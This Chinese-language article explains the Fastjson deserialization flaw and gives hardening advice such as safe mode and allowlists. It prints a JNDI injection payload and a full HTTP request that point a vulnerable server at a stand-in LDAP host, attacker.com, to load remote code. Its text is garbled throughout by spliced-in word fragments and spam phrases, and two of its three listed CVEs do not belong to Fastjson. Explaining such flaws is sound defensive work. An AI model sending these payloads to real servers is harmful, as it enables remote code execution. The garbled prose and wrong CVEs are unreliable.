前言 在与一位安全服务工程师交流时
，震惊我们发现许多开发团队对 Fastjson 漏洞的漏洞认知依然停留在“知道它有问题 ，但不清楚具体原因”的背后必须阶段 。尤其是真懂在国内 Java 项目中 ，Fastjson 的相开使用频率极高，一旦出现漏洞 ，发工影响范围会迅速扩大 。程师本篇文章将带你从原理到防御策略，原理完整解析 Fastjson 漏洞的震惊技术细节与风险来源，帮助你构建更安全的漏洞后端系统
。模板下载
Fastjson 是背后必须什么 ？ Fastjson 是由阿里巴巴开源的一款高性能 JSON 处理库 ，常用于 Java Web 应用或移动服务端 。真懂 它的相开核心功能有两类 ：
序列化 ：将 Java 对象转换为 JSON 字符串反序列化 ：将 JSON 字符串转换为 Java 对象 在 Maven 项目中，引用方式通常如下 ：
复制<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency>1.2.3.4.5. 虽然使用方便 ，发工但反序列化的程师强大功能 ，也为攻击者提供了可乘之机
。
核心问题
：反序列化风险 Fastjson 的主要漏洞集中在反序列化过程中 ，多次被分配 CVE 编号 ，例如 ：
CVE-2017-18349CVE-2020-2883CVE-2021-21351 这些漏洞的云计算本质是
：当解析恶意构造的 JSON 数据时 ，会触发某些类的危险方法
，最终导致远程代码执行
。
反序列化原理回顾 在正常场景下 ，反序列化是一个非常有用的功能 ：
复制{ "name":"张三","age":20}1. Fastjson 会将其转换为 Java 对象：
复制User{ name="张三", age=20}1. 然而 ，Fastjson 为了支持多态反序列化 ，引入了一个特殊字段 @type ，允许指定反序列化目标类 ，例如 ：
复制{ "@type":"com.example.User","name":"张三","age":20}1. 这会告诉 Fastjson 直接实例化 com.example.User。问题也由此产生 。建站模板
漏洞利用链解析 攻击者可以在 @type 中填入系统中存在的“危险类”（gadget 类）
，并构造特殊参数 ，从而触发恶意操作 。
示例攻击数据：
复制{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}1. Fastjson 解析过程
：
解析 @type → 实例化 JdbcRowSetImpl调用 setDataSourceName() → 传入恶意 LDAP 地址调用 setAutoCommit(true) → 触发 JNDI Lookup服务器访问 ldap://attacker.com → 下载并加载攻击者类远程代码执行 ，攻击者获得服务器控制权为什么会出现这种漏洞 ？ 根本原因有三点 ：
缺乏对 @type 的类限制：早期版本几乎可以反序列化任意类自动调用 Setter 方法 ：反序列化时会自动执行类的 setterJNDI + gadget 类：当类中包含 JNDI 调用（如 JdbcRowSetImpl）时
，构成了远程代码执行链 哪些情况有风险 ？
从不可信来源（用户输入、HTTP 请求）解析 JSON使用低于安全版本的 Fastjson（如 1.2.83 之前版本）项目类路径中存在可利用的 gadget 类（JdbcRowSetImpl 、TemplatesImpl 等）攻击场景实例 HTTP 恶意请求：
复制POST /api/user HTTP/1.1 Host: vulnerable.com Content-Type: application/json { "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}1.2.3.4.5.6. 服务器处理流程 ：
接收请求体JSON.parseObject(requestBody) → 进入反序列化流程触发 gadget 类方法 → 远程加载恶意类攻击者获得服务器权限 安全加固建议 在 com/icoderoad/security/FastjsonSafeConfig.java 中 ：
复制package com.icoderoad.security; import com.alibaba.fastjson.parser.ParserConfig; public class FastjsonSafeConfig { public static void applySecurityConfig() { // 开启安全模式 ，禁用 AutoType ParserConfig.getGlobalInstance().setSafeMode(true); // 如果必须使用 @type ，则开启白名单 ParserConfig.getGlobalInstance().addAccept("com.icoderoad.safe."); } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18. 四条防护铁律
：
版本升级 ：至少升级到 1.2.83 及以上版本安全模式
：setSafeMode(true) 禁用 AutoType白名单机制 ：仅允许指定包的亿华云类反序列化输入验证
：永远不要反序列化未经严格校验的 JSON关键认知 Fastjson 漏洞不是孤例 ，它反映了 Java 反序列化的共性问题
。Apache Commons Collections 、Jackson 也曾出现类似风险 。安全性更多依赖配置与使用方式 ，而不仅仅是依赖库版本 。
结论 在 Java 生态中
，反序列化漏洞是一个反复出现的安全挑战 。Fastjson 因其灵活性和高性能广泛被采用 ，高防服务器但这种灵活性在缺乏限制时同样会成为攻击者的武器。作为开发者
，必须在项目中贯彻“默认安全”的理念：保持依赖更新 、启用安全模式、严格限制可反序列化的类型 ，并彻底避免解析来源不明的数据。唯有如此
，才能在保证开发效率的同时 ，真正守住系统的安全防线 。免费模板